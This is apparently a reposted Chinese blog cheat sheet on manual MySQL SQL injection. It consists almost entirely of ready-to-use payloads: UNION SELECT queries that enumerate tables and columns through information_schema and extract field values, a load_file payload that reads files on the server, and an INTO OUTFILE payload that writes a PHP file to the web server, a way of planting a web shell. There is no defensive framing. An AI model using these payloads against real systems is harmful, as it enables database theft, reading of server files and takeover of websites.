mysql手工注入

version()获取数据库版本
database()获取数据库名
user()获取当前用户
@@version_compile_os 获取操作系统
group_concat(欲查询的参数)
获取表名:
注入点 UNION SELECT 1,table_name from information_schema.tables where table_schema=编码后(数据库名)

获取表段和字段:
注入点 UNION SELECT 1,column_name from information_schema.columns where table_name=编码后(表名)

获取指定表下的指定字段信息
注入点 UNION SELECT 1,字段名 from 表名

【拓展】
查看所有表或字段函数 group_concat()

读取:
id=4 union select 1,load_file('路径,或者hex编码不要单引号'),3


导出:
id=4 union select 1,0x45656656,3 into outfile 'F:/1.php'

查指定用户 limit 0,1

猜你喜欢

转载自www.cnblogs.com/slothx/p/9164270.html